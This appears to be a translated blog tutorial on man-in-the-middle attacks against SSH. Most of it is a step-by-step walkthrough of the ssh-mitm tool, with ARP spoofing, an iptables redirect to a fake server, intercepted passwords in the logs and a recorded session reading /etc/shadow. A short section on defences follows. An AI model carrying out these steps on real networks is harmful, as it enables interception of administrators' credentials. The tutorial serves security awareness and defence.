How well are your SSH sessions protected?
Performing daily tasks of the system administrator is considered safe when working through the SSH session. This article will discuss modern tools for conducting MITM attacks on the SSH protocol and how to protect against them.
There is a tool that appeared long enough and is called - sshmitm . It is included in the distribution kit for the Kali Linux pentest, but it supports only the first version of the SSH protocol, which imposes serious limitations in modern infrastructure.
There is another tool that, in particular, allows you to conduct a MitM-attack on the SSH protocol - mitmproxy (not to be confused with other mitmproxy ) . It can be downloaded from github . This tool allows you to work with authentication by the key, but it never really worked for me. The tool is not supported for 4 years and does not work out of the box. First, you need to fix some errors in the source code.
After correcting errors, the tool allows you to conduct a MitM attack using password authentication.
It would be strange not to mention the Intercepter-ng tool, which, among other things, allows you to conduct a classic MitM-attack on the SSH protocol.
And more recently, there was another tool - ssh-mitm
It is OpenSSH v7.5p1 with a patch that allows to work as a proxy between the SSH client and the original SSH server. We will consider it in more detail.
InstallingDownload the distribution in github and run the installation script
git clone https://github.com/jtesta/ssh-mitm.gitThe script will install all dependencies, download sources openssh-7.5p1, patch them, configure and compile. As a result, you will see a message
Done! The next step is to use JoesAwesomeSSHMITMVictimFinder.py to find target IPs, then execute run.sh and ARP spoof.The directory / home / ssh-mitm will also be created.
Carrying out an attackIn order to conduct a MitM-attack on the SSH protocol, we first need to redirect the victim's traffic to our machine, instead of the original SSH server. After installing ssh-mitm, we can use the script included in the package to find ssh sessions on the network.
The script JoesAwesomeSSHMITMVictimFinder.py is located in the directory where you crooked the git repository and does the following:
Arp-spoofing the block of IP-addresses (the block size is set by the parameter, by default it is 5)
Waits for a few seconds (the time-out is specified by the parameter, the default is 20 seconds)
Displays SSH sessions found in the console
Moves to the next block
For arp-spoofing, ettercap is used, and for sniffing network packets tshark.
Both tools are included in the Kali Linux distribution by default.
When starting the script, you can get the message "The Python3 netaddr and / or netifaces module is not installed". Corrected by executing the command:
apt install python3-netaddr python3-netifacesExample of running the script:
./JoesAwesomeSSHMITMVictimFinder.py --interface eth0 --listen-time 5Example output:
Local servers:After the targets are defined, you need to run another script, run.sh, which is also in the git directory.
* 192.168.1.5 -> 192.168.1.4:22
It actually starts the sshd_mitm service, sets the ip_forward system parameter to 1, thereby allowing transit packets and creates an iptables rule that redirects all packets to a fake SSH server.
[email protected]:~/mitm_and_spoof/ssh-mitm# iptables -t nat -LThe run.sh script does not start the arp-spoofing attack. You need to do this yourself, for example, using arpspoof or ettercap.
Chain PREROUTING (policy ACCEPT)
target prot opt source destination
REDIRECT tcp -- anywhere anywhere tcp dpt:ssh redir ports 2222
[email protected]:~/mitm_and_spoof/ssh-mitm# netstat -tlpan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:2222 0.0.0.0:* LISTEN 13241/sshd_mitm
arpspoof -i eth0 -t 192.168.1.4 -r 192.168.1.5To obtain victim credentials, it is convenient to view the auth.log file with tail.
tail -f /var/log/auth.logWhen the victim (192.168.1.5) tries to connect to the original SSH server (192.168.1.4), she will certainly see a message about changing the server's public key
[email protected]_1:~$ ssh [email protected]UPD: In 99% of cases, many administrators answer the similar question "yes".
The authenticity of host '192.168.1.4 (192.168.1.4)' can't be established.
ED25519 key fingerprint is SHA256:kn+iT7WwgO6Wlh0xN4KQXB8P/JaHLcRx04gYTvNdjCM.
Are you sure you want to continue connecting (yes/no)?
Further, the victim enters the login and password, and in the auth.log log on the attacker's machine appears a record
Aug 29 16:55:08 kalix64 sshd_mitm: INTERCEPTED PASSWORD: hostname: [192.168.1.4]; username: [ubuntu]; password: [qwerty123] [preauth]And we see the file session_0.txt with the recorded session in / home / ssh-mitm:
Aug 29 16:55:08 kalix64 sshd_mitm: Accepted password for ssh-mitm from 192.168.1.5 port 37838 ssh2
Last login: Tue Aug 29 16:46:03 2017 from ns.secret.labAs you can see, some data are backed up. This is due to the fact that both user input and output are recorded. The sudo program, for example, temporarily disables "echo" and the password qwerty123 is displayed "normal"
ESC]0;[email protected]: ~^[email protected]:~$ ccdd //eettcc
ESC]0;[email protected]: /etc^[email protected]:/etc$ ccaatt //eettcc//sshhaadd ^Gow^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?
^H^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^Gssuuddoo ssuu --
[sudo] password for ubuntu: qwerty123
ESC]0;[email protected]: ~^[email protected]:~# ccdd //eettcc//^?^HESC[K
ESC]0;[email protected]: /etc^[email protected]:/etc# ccaatt sshhaadd ^Gow ^G
ESC]0;[email protected]: /etc^[email protected]:/etc# cat shadow
ssh-mitm, in my opinion, represents a recorded session in a more convenient form than mitmproxy
In the screenshot above I tried to enter the console
cat /etcIf the target server does not allow password authentication, but only by the key, ssh-mitm will still offer password authentication and will simply break the connection after entering credentials, since the original server credentials will not accept. But the attacker will get some kind of password and will be able to use it in the future, since the administrator is unlikely to enter anything that does not exist.
ProtectionStrangely enough, but to protect against such attacks, nothing else is required to install into the system. All you need is to disable password authentication by directive
PasswordAuthentication noAnd use authentication by key.
This will protect the service from attacks on the enumeration of credentials, i.e. bruteforce.
Also, do not take indiscriminately the modified server imprint. By itself, it usually does not change, and if you yourself are responsible for the server that you are connecting to and know that nothing has been reinstalled there, it's worth checking once again whether a MitM attack is currently being conducted.
|Vote for this post
Bring it to the Main Page